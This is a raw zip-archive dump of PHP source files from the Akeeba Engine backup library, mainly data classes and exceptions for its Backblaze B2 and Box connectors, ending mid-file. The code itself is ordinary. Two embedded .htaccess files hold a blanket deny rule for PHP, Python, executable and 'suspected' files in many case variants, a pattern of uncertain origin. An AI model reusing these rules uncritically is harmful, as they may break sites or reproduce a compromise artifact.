			curl_exec($curl),
			curl_getinfo($curl),
			curl_errno($curl),
			curl_error($curl),
		];
	}

	/**
	 * Returns the full url based on the given url (which may be relative). All
	 * urls are expanded based on the base url as given by the server.
	 *
	 * @param   string  $url
	 *
	 * @return  string
	 */
	protected function getAbsoluteUrl($url)
	{
		// If the url starts with http:// or https://, the url is already absolute.
		if (preg_match('/^http(s?):\/\//', $url))
		{
			return $url;
		}

		$parts = parse_url($this->baseUri);

		$schemeAndHost = $parts['scheme'] . '://' . $parts['host'];
		$portString    = isset($parts['port']) ? (':' . $parts['port']) : '';
		$path          = (isset($parts['path']) && !empty($parts['path'])) ? $parts['path'] : '';
		$path          = trim($path, '/') . '/';
		$path          = (strpos($path, '/') !== 0) ? ('/' . $path) : $path;

		return $schemeAndHost . ($portString) . $path . ltrim($url, '/');
	}
}
PK     \琰    F  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/UploadURL.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze;

defined('AKEEBAENGINE') || die();

use DomainException;

/**
 * An immutable object which contains the information returned by BackBlaze when uploading files, single- or multipart.
 *
 * @see  https://www.backblaze.com/b2/docs/b2_authorize_account.html
 *
 * @property-read  string fileId              The file ID, used for multipart uploads
 * @property-read  string bucketId            The bucket ID, used for single part uploads
 * @property-read  string uploadUrl           The URL that can be used to upload files to this bucket / file
 * @property-read  string authorizationToken  The authorizationToken that must be used when uploading files to this bucket
 */
class UploadURL
{
	private $fileId;
	private $bucketId;
	private $uploadUrl;
	private $authorizationToken;

	/**
	 * Construct an object from a key-value array
	 *
	 * @param   array  $data  The raw data array returned by the Backblaze B2 API
	 */
	public function __construct(array $data)
	{
		if (empty($data))
		{
			return;
		}

		foreach ($data as $key => $value)
		{
			if (property_exists($this, $key))
			{
				$this->$key = $value;
			}
		}
	}

	/**
	 * Magic getter, channels the private property values. This lets the object have immutable, publicly accessible
	 * properties.
	 *
	 * @param   string  $name  The property name being read
	 *
	 * @return  mixed
	 *
	 * @throws  DomainException  If you ask for a property that's not there
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->$name;
		}

		throw new DomainException(sprintf("Property %s does not exist in class %s", $name, __CLASS__));
	}

	/**
	 * Exports the data as an array which can be used with __construct to reconstruct this object. The array data is
	 * easier to serialize since they can be converted to JSON, for example.
	 *
	 * @return  array
	 */
	public function toArray()
	{
		return [
			'fileId'             => $this->fileId,
			'bucketId'           => $this->bucketId,
			'uploadUrl'          => $this->uploadUrl,
			'authorizationToken' => $this->authorizationToken,
		];
	}
}
PK     \7  7  L  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/FileInformation.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze;

defined('AKEEBAENGINE') || die();

use DomainException;

/**
 * An immutable object which contains the information returned by BackBlaze when uploading files.
 *
 * @see  https://www.backblaze.com/b2/docs/b2_authorize_account.html
 *
 * @property-read  string fileId           The unique identifier for this version of this file.
 * @property-read  string fileName         The name of this file
 * @property-read  string accountId        Backblaze account ID
 * @property-read  string bucketId         The bucket that the file is in
 * @property-read  string contentLength    The number of bytes stored in the file.
 * @property-read  string contentSha1      The SHA1 of the bytes stored in the file.
 * @property-read  string contentType      The MIME type of the file.
 * @property-read  string fileInfo         The custom information that was uploaded with the file.
 * @property-read  string action           Always "upload".
 * @property-read  string uploadTimestamp  This is a UTC time when this file was uploaded.
 * @property-read  string partNumber       Part number, when this is a part of a multipart upload, not a single file
 */
class FileInformation
{
	private $fileId;
	private $fileName;
	private $accountId;
	private $bucketId;
	private $contentLength;
	private $contentSha1;
	private $contentType;
	private $fileInfo;
	private $action;
	private $uploadTimestamp;
	private $partNumber;

	/**
	 * Construct an object from a key-value array
	 *
	 * @param   array  $data  The raw data array returned by the Backblaze B2 API
	 */
	public function __construct(array $data)
	{
		if (empty($data))
		{
			return;
		}

		foreach ($data as $key => $value)
		{
			if (property_exists($this, $key))
			{
				$this->$key = $value;
			}
		}
	}

	/**
	 * Magic getter, channels the private property values. This lets the object have immutable, publicly accessible
	 * properties.
	 *
	 * @param   string  $name  The property name being read
	 *
	 * @return  mixed
	 *
	 * @throws  DomainException  If you ask for a property that's not there
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->$name;
		}

		throw new DomainException(sprintf("Property %s does not exist in class %s", $name, __CLASS__));
	}
}
PK     \O܍M'  '  N  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/BucketInformation.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze;

defined('AKEEBAENGINE') || die();

use DomainException;

/**
 * An immutable object which contains the information returned by Backblaze b2_list_buckets API method
 *
 * @see  https://www.backblaze.com/b2/docs/b2_list_buckets.html
 *
 * @property-read  string accountId       Backblaze account ID
 * @property-read  string bucketId        The ID of the bucket (you will need to use this in the API)
 * @property-read  array  bucketInfo      User data stored in this bucket
 * @property-read  string bucketName      The unique name of the bucket, i.e. what the user calls the bucket by
 * @property-read  string bucketType      allPublic, allPrivate, snapshot (possibly more values in the future)
 * @property-read  array  lifecycleRules  List of lifecycle rules for this bucket
 */
class BucketInformation
{
	/** @var  string  Backblaze account ID */
	private $accountId;

	/** @var  string  The ID of the bucket (you will need to use this in the API) */
	private $bucketId;

	/** @var  array  User data stored in this bucket */
	private $bucketInfo;

	/** @var  string  The unique name of the bucket, i.e. what the user calls the bucket by */
	private $bucketName;

	/** @var  string  allPublic, allPrivate, snapshot (possibly more values in the future) */
	private $bucketType;

	/** @var  string  List of lifecycle rules for this bucket */
	private $lifecycleRules;

	/**
	 * Construct an BucketInformation object from a key-value array
	 *
	 * @param   array  $data  The raw data array returned by the Backblaze B2 API
	 */
	public function __construct(array $data)
	{
		if (empty($data))
		{
			return;
		}

		foreach ($data as $key => $value)
		{
			if (property_exists($this, $key))
			{
				$this->$key = $value;
			}
		}
	}

	/**
	 * Magic getter, channels the private property values. This lets the object have immutable, publicly accessible
	 * properties.
	 *
	 * @param   string  $name  The property name being read
	 *
	 * @return  mixed
	 *
	 * @throws  DomainException  If you ask for a property that's not there
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->$name;
		}

		throw new DomainException(sprintf("Property %s does not exist in class %s", $name, __CLASS__));
	}
}
PK     \%|    [  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/UnexpectedHTTPStatus.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class UnexpectedHTTPStatus extends Base
{
	public function __construct($errNo = "500", $code = 0, ?Exception $previous = null)
	{
		$message = "Unexpected HTTP status $errNo";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \BEˆ    P  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/cURLError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class cURLError extends Base
{
	public function __construct($errNo = "500", $code = '', ?Exception $previous = null)
	{
		$message = "cURL error $errNo: $code";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \<_E    O  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/APIError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class APIError extends Base
{
	/**
	 * APIError constructor.
	 *
	 * @param   string          $error             Short error code
	 * @param   string          $errorDescription  Long error description
	 * @param   int             $code              Numeric error ID (default: 500)
	 * @param   Exception|null  $previous          Previous exception
	 */
	public function __construct($error, $errorDescription, $code = 500, ?Exception $previous = null)
	{
		$message = "Backblaze B2 API Error $error: $errorDescription";

		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \    K  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use RuntimeException;

class Base extends RuntimeException
{
}
PK     \    Q  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/NotAllowed.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class NotAllowed extends Base
{
	public function __construct($errorDescription, $code = '500', ?Exception $previous = null)
	{
		$message = "The following action is not allowed by the Backblaze B2 Application Key you have provided: $errorDescription";

		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \'y  y  R  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/InvalidJSON.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class InvalidJSON extends Base
{
	public function __construct($message = "Invalid JSON data received", $code = '500', ?Exception $previous = null)
	{
		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \Sʉ      L  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \    O  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/AccountInformation.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze;

defined('AKEEBAENGINE') || die();

use DomainException;

/**
 * An immutable object which contains the information returned by Backblaze b2_authorize_account API method
 *
 * @see  https://www.backblaze.com/b2/docs/b2_authorize_account.html
 *
 * @property-read  string  accountId                Backblaze account ID
 * @property-read  string  authorizationToken       Temporary authorization token
 * @property-read  Allowed allowed                  Backblaze account ID
 * @property-read  string  apiUrl                   API URL for everything except download operations
 * @property-read  string  downloadUrl              API URL for download operations
 * @property-read  string  recommendedPartSize      Recommended part size, in bytes
 * @property-read  string  absoluteMinimumPartSize  Minimum possible part size, in bytes
 * @property-read  string  minimumPartSize          DEPRECATED: This field will always have the same value as recommendedPartSize.
 */
class AccountInformation
{
	/** @var  string  Minimum possible part size, in bytes */
	private $absoluteMinimumPartSize;

	/** @var  string  Backblaze account ID */
	private $accountId;

	/** @var  Allowed  An object describing what we are allowed to do with the current ID and key pair */
	private $allowed;

	/** @var  string  API URL for everything except download operations */
	private $apiUrl;

	/** @var  string  Temporary authorization token */
	private $authorizationToken;

	/** @var  string  API URL for download operations */
	private $downloadUrl;

	/** @var  string  DEPRECATED: Alias of recommendedPartSize */
	private $minimumPartSize;

	/** @var  string  Recommended part size, in bytes */
	private $recommendedPartSize;

	/** @var  int     This object is valid until this UNIX timestamp */
	private $validTo;

	/**
	 * Construct an AccountInformation object from a key-value array
	 *
	 * @param   array  $data  The raw data array returned by the Backblaze B2 API
	 */
	public function __construct(array $data)
	{
		// The authorization token is valid for up to 24 hours
		$this->validTo = time() + 86400;

		if (empty($data))
		{
			return;
		}

		// v4 b2_authorize_account nests apiUrl, downloadUrl, and part sizes under apiInfo.storageApi.
		// Lift them to the top level so the existing property-assignment loop handles both shapes.
		if (isset($data['apiInfo']['storageApi']) && is_array($data['apiInfo']['storageApi']))
		{
			$data = array_merge($data['apiInfo']['storageApi'], $data);
			unset($data['apiInfo']);
		}

		foreach ($data as $key => $value)
		{
			if ($key == 'allowed')
			{
				$this->allowed = new Allowed($value);

				continue;
			}

			if (property_exists($this, $key))
			{
				$this->$key = $value;
			}
		}

		if (is_null($this->allowed))
		{
			$this->allowed = new Allowed([]);
		}

		if (empty($this->minimumPartSize))
		{
			$this->minimumPartSize = $this->recommendedPartSize;
		}
	}

	/**
	 * Magic getter, channels the private property values. This lets the object have immutable, publicly accessible
	 * properties.
	 *
	 * @param   string  $name  The property name being read
	 *
	 * @return  mixed
	 *
	 * @throws  DomainException  If you ask for a property that's not there
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->$name;
		}

		throw new DomainException(sprintf("Property %s does not exist in class %s", $name, __CLASS__));
	}

	/**
	 * Is the authorization token still valid? We consider it valid for up to 23 hours since it was issued, to prevent
	 * the chance of the token timing out while we are trying to do an upload.
	 *
	 * @return  bool
	 */
	public function isValid()
	{
		$now     = time();
		$validTo = $this->validTo - 3600;

		return ($validTo >= $now);
	}
}
PK     \q]/  /  D  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/Allowed.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Backblaze;

defined('AKEEBAENGINE') || die();

use DomainException;

/**
 * An immutable object which contains the 'allowed' key information returned by Backblaze b2_authorize_account API
 * method.
 *
 * @see  https://www.backblaze.com/b2/docs/b2_authorize_account.html
 *
 * @property-read  string $bucketId     The ID of the bucket we are limited to. Empty if we are not limited to a bucket.
 * @property-read  string $bucketName   The name of the bucket we are limited to. Empty if we are not limited to a bucket.
 * @property-read  array  $buckets      v4: list of {bucketId, bucketName} objects the key may access.
 * @property-read  array  $capabilities An array containing one or more of listKeys, writeKeys, deleteKeys, listBuckets, writeBuckets, deleteBuckets, listFiles, readFiles, shareFiles, writeFiles, and deleteFiles
 * @property-read  string $namePrefix   The prefix inside the bucket we are allowed to write to
 */
class Allowed
{
	/**
	 * The ID of the bucket we are limited to. Empty if we are not limited to a bucket.
	 *
	 * @var string
	 */
	private $bucketId;

	/**
	 * The name of the bucket we are limited to. Empty if we are not limited to a bucket.
	 *
	 * @var string
	 */
	private $bucketName;

	/**
	 * v4: list of {bucketId, bucketName} objects the key may access. Empty means unrestricted.
	 *
	 * @var array
	 */
	private $buckets = [];

	/**
	 * An array containing one or more of listKeys, writeKeys, deleteKeys, listBuckets, writeBuckets, deleteBuckets, listFiles, readFiles, shareFiles, writeFiles, and deleteFiles
	 *
	 * @var array
	 */
	private $capabilities = [];

	/**
	 * The prefix inside the bucket we are allowed to write to
	 *
	 * @var string
	 */
	private $namePrefix;

	/**
	 * Construct an Allowed object from a key-value array
	 *
	 * @param   array  $data  The raw data array returned by the Backblaze B2 API
	 */
	public function __construct(array $data)
	{
		if (empty($data))
		{
			return;
		}

		foreach ($data as $key => $value)
		{
			if (property_exists($this, $key))
			{
				$this->$key = $value;
			}
		}

		// v4 replaces bucketId/bucketName with a buckets[] array for multi-bucket keys. The live API keys each entry
		// id/name; earlier documentation used bucketId/bucketName. Normalise every entry to {bucketId, bucketName} so
		// all read sites see a single, consistent shape regardless of which key spelling the API sends.
		if (!empty($this->buckets) && is_array($this->buckets))
		{
			$this->buckets = array_map(
				static function ($entry) {
					$entry = (array) $entry;

					return [
						'bucketId'   => $entry['bucketId'] ?? $entry['id'] ?? '',
						'bucketName' => $entry['bucketName'] ?? $entry['name'] ?? '',
					];
				},
				array_values($this->buckets)
			);

			// Seed the scalar fields from the first entry so single-bucket callers keep working.
			if (empty($this->bucketId))
			{
				$this->bucketId   = $this->buckets[0]['bucketId'];
				$this->bucketName = $this->buckets[0]['bucketName'];
			}
		}
	}

	/**
	 * Magic getter, channels the private property values. This lets the object have immutable, publicly accessible
	 * properties.
	 *
	 * @param   string  $name  The property name being read
	 *
	 * @return  mixed
	 *
	 * @throws  DomainException  If you ask for a property that's not there
	 */
	public function __get($name)
	{
		if (property_exists($this, $name))
		{
			return $this->$name;
		}

		throw new DomainException(sprintf("Property %s does not exist in class %s", $name, __CLASS__));
	}

	/**
	 * Are we granted a specific capability by the API? recommended to use the can*() methods instead.
	 *
	 * @param   string  $cap  The capability to check
	 *
	 * @return  bool
	 */
	public function hasCapability($cap)
	{
		if (!is_array($this->capabilities))
		{
			return false;
		}

		return in_array($cap, $this->capabilities);
	}

	/**
	 * Are we allowed to list keys?
	 *
	 * @return  bool
	 */
	public function canListKeys()
	{
		return $this->hasCapability('listKeys');
	}

	/**
	 * Are we allowed to write keys?
	 *
	 * @return  bool
	 */
	public function canWriteKeys()
	{
		return $this->hasCapability('writeKeys');
	}

	/**
	 * Are we allowed to delete keys?
	 *
	 * @return  bool
	 */
	public function canDeleteKeys()
	{
		return $this->hasCapability('deleteKeys');
	}

	/**
	 * Are we allowed to list buckets?
	 *
	 * @return  bool
	 */
	public function canListBuckets()
	{
		return $this->hasCapability('listBuckets');
	}

	/**
	 * Are we allowed to write (create new) buckets?
	 *
	 * @return  bool
	 */
	public function canWriteBuckets()
	{
		return $this->hasCapability('writeBuckets');
	}

	/**
	 * Are we allowed to delete buckets?
	 *
	 * @return  bool
	 */
	public function canDeleteBuckets()
	{
		return $this->hasCapability('deleteBuckets');
	}

	/**
	 * Are we allowed to list files?
	 *
	 * @return  bool
	 */
	public function canListFiles()
	{
		return $this->hasCapability('listFiles');
	}

	/**
	 * Are we allowed to read files?
	 *
	 * @return  bool
	 */
	public function canReadFiles()
	{
		return $this->hasCapability('readFiles');
	}

	/**
	 * Are we allowed to share files?
	 *
	 * @return  bool
	 */
	public function canShareFiles()
	{
		return $this->hasCapability('shareFiles');
	}

	/**
	 * Are we allowed to write to files?
	 *
	 * @return  bool
	 */
	public function canWriteFiles()
	{
		return $this->hasCapability('writeFiles');
	}

	/**
	 * Are we allowed to delete files?
	 *
	 * @return  bool
	 */
	public function canDeleteFiles()
	{
		return $this->hasCapability('deleteFiles');
	}

	/**
	 * Are we allowed to access the bucket in question?
	 *
	 * @param   string  $bucket  The bucket you need to know if we are allowed to access
	 *
	 * @return  bool
	 */
	public function isBucketAllowed($bucket)
	{
		// v4 multi-bucket keys: check against the full buckets list.
		if (!empty($this->buckets) && is_array($this->buckets))
		{
			foreach ($this->buckets as $entry)
			{
				$entry = (array) $entry;

				if (($entry['bucketName'] ?? '') === $bucket)
				{
					return true;
				}
			}

			return false;
		}

		if (empty($this->bucketName))
		{
			return true;
		}

		return $this->bucketName === $bucket;
	}

	/**
	 * Are we allowed to access files / folders with the given prefix?
	 *
	 * @param   string  $prefix  Path to a file or folder you want to test. Whole or partial (the leading part
	 *                           must be provided in this case)
	 *
	 * @return  bool
	 */
	public function isPrefixAllowed($prefix)
	{
		if (empty($this->namePrefix))
		{
			return true;
		}

		return strpos(ltrim($prefix, '/'), $this->namePrefix) === 0;
	}
}
PK     \Sʉ      B  vendor/akeeba/engine/engine/Postproc/Connector/Backblaze/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \o    U  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/UnexpectedHTTPStatus.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Box\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class UnexpectedHTTPStatus extends Base
{
	public function __construct($errNo = "500", $code = 0, ?Exception $previous = null)
	{
		$message = "Unexpected HTTP status $errNo";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \C`    J  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/cURLError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Box\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class cURLError extends Base
{
	public function __construct($errNo = "500", $code = '', ?Exception $previous = null)
	{
		$message = "cURL error $errNo: $code";

		parent::__construct($message, (int) $errNo, $previous);
	}

}
PK     \zn    I  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/APIError.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Box\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

class APIError extends Base
{
	/**
	 * APIError constructor.
	 *
	 * @param   string          $error             Short error code
	 * @param   string          $errorDescription  Long error description
	 * @param   int             $code              Numeric error ID (default: 500)
	 * @param   Exception|null  $previous          Previous exception
	 */
	public function __construct($error, $errorDescription, $code = 500, ?Exception $previous = null)
	{
		$message = "Box API Error $error: $errorDescription";

		parent::__construct($message, (int) $code, $previous);
	}

}
PK     \S[    E  vendor/akeeba/engine/engine/Postproc/Connector/Box/Exception/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
